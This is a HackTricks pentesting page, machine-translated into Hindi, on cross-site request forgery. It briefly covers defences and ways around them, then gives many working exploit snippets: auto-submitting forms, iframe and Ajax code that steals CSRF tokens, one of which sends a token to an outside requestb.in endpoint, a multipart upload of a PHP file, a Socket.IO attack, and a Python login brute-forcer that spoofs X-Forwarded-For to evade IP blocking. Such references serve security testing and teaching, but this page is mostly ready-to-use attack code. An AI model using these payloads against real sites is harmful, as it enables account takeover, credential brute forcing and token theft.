hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

560 lines
33 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF (Cross Site Request Forgery)
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
**हैकिंग इनसाइट्स**\
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
**रियल-टाइम हैक न्यूज**\
रियल-टाइम न्यूज और इनसाइट्स के माध्यम से हैकिंग की तेजी से बदलती दुनिया के साथ अपडेट रहें
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटीज लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## CSRF क्या है?
**Cross-site request forgery** (जिसे CSRF भी कहा जाता है) एक वेब सुरक्षा संवेदनशीलता है जो हमलावर को उपयोगकर्ताओं को ऐसे कार्य करने के लिए **प्रेरित करने की अनुमति देती है जो वे करना नहीं चाहते**।\
यह **लॉग इन उपयोगकर्ता** को पीड़ित प्लेटफॉर्म पर हमलावर नियंत्रित वेबसाइट तक पहुँचाकर और वहाँ से **निष्पादित** करके किया जाता है, जैसे कि दुर्भावनापूर्ण JS कोड भेजना, फॉर्म भेजना या "इमेज" को **पीड़ित के खाते** में पुनः प्राप्त करना।
### आवश्यकताएँ
CSRF संवेदनशीलता का दुरुपयोग करने के लिए आपको पहले **दुरुपयोग करने के लिए एक प्रासंगिक कार्य खोजना** चाहिए (पासवर्ड या ईमेल बदलना, पीड़ित को आपका अनुसरण करने के लिए बनाना, आपको अधिक विशेषाधिकार देना...). **सत्र केवल कुकीज़ या HTTP Basic Authentication हेडर पर निर्भर करना चाहिए**, कोई अन्य हेडर सत्र को संभालने के लिए उपयोग नहीं किया जा सकता है। और अंत में, अनुरोध पर **अप्रत्याशित पैरामीटर नहीं होने चाहिए**
इस संवेदनशीलता से बचने के लिए कई **प्रतिरक्षा उपाय** हो सकते हैं।
### **सामान्य रक्षा**
* [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यदि सत्र कुकी इस फ्लैग का उपयोग कर रही है, तो आप मनमानी वेब साइटों से कुकी भेजने में सक्षम नहीं हो सकते हैं।
* [**Cross-origin resource sharing**](cors-bypass.md): आपको जिस प्रकार के HTTP अनुरोध को प्रासंगिक कार्य का दुरुपयोग करने के लिए प्रदर्शन करना है, उसके आधार पर आपको **पीड़ित साइट की CORS नीति** को ध्यान में रखना चाहिए। _ध्यान दें कि CORS नीति तब प्रभावित नहीं होगी जब आप केवल GET अनुरोध भेजना चाहते हैं या फॉर्म से POST अनुरोध और आपको प्रतिक्रिया पढ़ने की आवश्यकता नहीं है।_
* कार्य को अधिकृत करने के लिए **पासवर्ड** मांगें।
* एक **कैप्चा** हल करें।
* **Referrer** या **Origin** हेडर्स पढ़ें। यदि एक regex का उपयोग किया जाता है तो यह उदाहरण के साथ बायपास किया जा सकता है:
* http://mal.net?orig=http://example.com (url के साथ समाप्त होता है)
* http://example.com.mal.net (url के साथ शुरू होता है)
* Post या Get अनुरोध के **पैरामीटर्स के नाम को संशोधित** करें।
* प्रत्येक सत्र में एक **CSRF टोकन** का उपयोग करें। इस टोकन को अनुरोध के अंदर भेजना होगा ताकि कार्य की पुष्टि की जा सके। इस टोकन को CORS के साथ सुरक्षित किया जा सकता है।
### CSRF मानचित्र
![](<../.gitbook/assets/image (112).png>)
## रक्षा बायपास
### POST से GET तक
शायद आप जिस फॉर्म का दुरुपयोग करना चाहते हैं वह एक **POST अनुरोध को CSRF टोकन के साथ भेजने के लिए तैयार है लेकिन**, आपको **जांचना चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**
### टोकन की कमी
कुछ एप्लिकेशन सही ढंग से **टोकन को मान्य करते हैं जब वह मौजूद होता है लेकिन मान्यता को छोड़ देते हैं यदि टोकन छोड़ दिया जाता है**।\
इस स्थिति में, हमलावर **पूरे पैरामीटर को हटा सकता है** जिसमें टोकन होता है (केवल इसका मूल्य नहीं) ताकि मान्यता को बायपास किया जा सके और CSRF हमला दिया जा सके।
### CSRF टोकन उपयोगकर्ता सत्र से जुड़ा नहीं है
कुछ एप्लिकेशन **यह मान्य नहीं करते कि टोकन उसी सत्र से संबंधित है** जैसा कि उपयोगकर्ता जो अनुरोध कर रहा है। इसके बजाय, एप्लिकेशन **एक वैश्विक पूल का रखरखाव करता है जिसमें उसने टोकन जारी किए हैं और इस पूल में दिखाई देने वाले किसी भी टोकन को स्वीकार करता है**।\
इस स्थिति में, हमलावर अपने खुद के खाते का उपयोग करके एप्लिकेशन में लॉग इन कर सकता है, **एक मान्य टोकन प्राप्त कर सकता है**, और फिर उस टोकन को CSRF हमले में पीड़ित उपयोगकर्ता को खिला सकता है।
### विधि बायपास
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि ओवरराइड कार्यक्षमता** काम कर रही है।\
उदाहरण के लिए, यदि यह **PUT विधि का उपयोग कर रहा है** तो आप **POST विधि का उपयोग करने का प्रयास कर सकते है
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
ध्यान दें कि यदि **csrf token सत्र कुकी से संबंधित है तो यह हमला काम नहीं करेगा** क्योंकि आपको पीड़ित को अपना सत्र सेट करना होगा, और इसलिए आप खुद पर हमला कर रहे होंगे।
{% endhint %}
### Content-Type परिवर्तन
[**इस**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) के अनुसार, **प्रीफ्लाइट** अनुरोधों से बचने के लिए **POST** विधि का उपयोग करते समय ये Content-Type मान स्वीकार्य हैं:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
हालांकि, ध्यान दें कि **सर्वर का तर्क** Content-Type के उपयोग पर निर्भर कर सकता है इसलिए आपको उल्लिखित मानों और अन्य जैसे **`application/json`**, **`text/xml`**, **`application/xml`** को भी आजमाना चाहिए।
उदाहरण ( [यहाँ](https://brycec.me/posts/corctf\_2021\_challenges) से) JSON डेटा को text/plain के रूप में भेजने का:
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
### application/json preflight request bypass
जैसा कि आप पहले से जानते हैं, आप HTML फॉर्म के माध्यम से **`application/json`** के Content-Type के साथ POST अनुरोध नहीं भेज सकते, और यदि आप **`XMLHttpRequest`** के माध्यम से ऐसा करने की कोशिश करते हैं तो पहले एक **preflight** अनुरोध भेजा जाता है।\
हालांकि, आप \*\*`text/plain` और `application/x-www-form-urlencoded` \*\* content types का उपयोग करके JSON डेटा भेजने की कोशिश कर सकते हैं, बस यह जांचने के लिए कि क्या बैकएंड Content-Type की परवाह किए बिना डेटा का उपयोग कर रहा है।\
आप **`enctype="text/plain"`** सेट करके `Content-Type: text/plain` का उपयोग करते हुए एक फॉर्म भेज सकते हैं।
यदि सर्वर केवल "application/json" content type स्वीकार कर रहा है, तो आप **"text/plain; application/json" content type भेज सकते हैं** बिना preflight अनुरोध को ट्रिगर किए।
आप एक **SWF flash file** का उपयोग करके इस प्रतिबंध को **bypass** करने की भी कोशिश कर सकते हैं। अधिक जानकारी के लिए [**इस पोस्ट को पढ़ें**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)।
### Referrer / Origin check bypass
**Referrer header से बचें**
कुछ एप्लिकेशन अनुरोधों में मौजूद Referer header की जांच करते हैं लेकिन **यदि header छोड़ दिया जाता है तो जांच को छोड़ देते हैं**
```markup
<meta name="referrer" content="never">
```
**Regexp बायपास**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
URL में सर्वर के डोमेन नाम को सेट करने के लिए जिसे Referrer पैरामीटर्स के अंदर भेजने वाला है, आप कर सकते हैं:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
### **HEAD method का बायपास**
[**इस CTF लेखन**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) के पहले भाग में बताया गया है कि [Oak के सोर्स कोड](https://github.com/oakserver/oak/blob/main/router.ts#L281) में, एक राउटर को **HEAD अनुरोधों को GET अनुरोधों के रूप में संभालने** के लिए सेट किया गया है जिसमें कोई प्रतिक्रिया शरीर नहीं होता - एक सामान्य समाधान जो केवल Oak तक सीमित नहीं है। HEAD अनुरोधों के लिए एक विशिष्ट हैंडलर के बजाय, उन्हें सीधे **GET हैंडलर को दिया जाता है लेकिन ऐप बस प्रतिक्रिया शरीर को हटा देता है**
इसलिए, अगर किसी GET अनुरोध को सीमित किया जा रहा है, तो आप **एक HEAD अनुरोध भेज सकते हैं जिसे GET अनुरोध के रूप में संसाधित किया जाएगा**
## **Exploit उदाहरण**
### **CSRF Token का निष्कासन**
अगर **CSRF टोकन** का उपयोग **रक्षा** के रूप में किया जा रहा है, तो आप [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) भेद्यता या [**Dangling Markup**](dangling-markup-html-scriptless-injection/) भेद्यता का दुरुपयोग करके उसे **निष्कासित करने** की कोशिश कर सकते हैं।
### **HTML टैग्स का उपयोग करके GET**
```markup
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
अन्य HTML5 टैग जो एक GET अनुरोध को स्वचालित रूप से भेजने के लिए उपयोग किए जा सकते हैं:
![](<../.gitbook/assets/image (530).png>)
### फॉर्म GET अनुरोध
```markup
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### फॉर्म POST अनुरोध
```markup
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
```
### iframe के माध्यम से Form POST अनुरोध
```markup
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### **Ajax POST अनुरोध**
```markup
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
### multipart/form-data POST अनुरोध
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST अनुरोध v2
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### एक iframe के भीतर से Form POST अनुरोध
```markup
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **CSRF टोकन चुराएं और POST अनुरोध भेजें**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **CSRF टोकन चुराएं और iframe, फॉर्म और Ajax का उपयोग करके Post अनुरोध भेजें**
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **CSRF टोकन चुराएं और एक iframe और फॉर्म का उपयोग करके POST अनुरोध भेजें**
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **टोकन चुराएं और इसे 2 iframes का उपयोग करके भेजें**
```markup
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POST के साथ Ajax के द्वारा CSRF टोकन चुराएं और एक फॉर्म के साथ पोस्ट भेजें**
```markup
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
### Socket.IO के साथ CSRF
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
```
## CSRF लॉगिन ब्रूट फोर्स
यह कोड एक लॉगिन फॉर्म पर ब्रूट फोर्स करने के लिए इस्तेमाल किया जा सकता है जिसमें CSRF टोकन का उपयोग होता है (यह संभावित IP ब्लैकलिस्टिंग को बायपास करने के लिए X-Forwarded-For हेडर का भी उपयोग कर रहा है):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## उपकरण <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## संदर्भ
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें
**रियल-टाइम हैक समाचार**\
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से हैकिंग दुनिया के साथ अद्यतन रहें
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटीज के लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें.**
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
</details>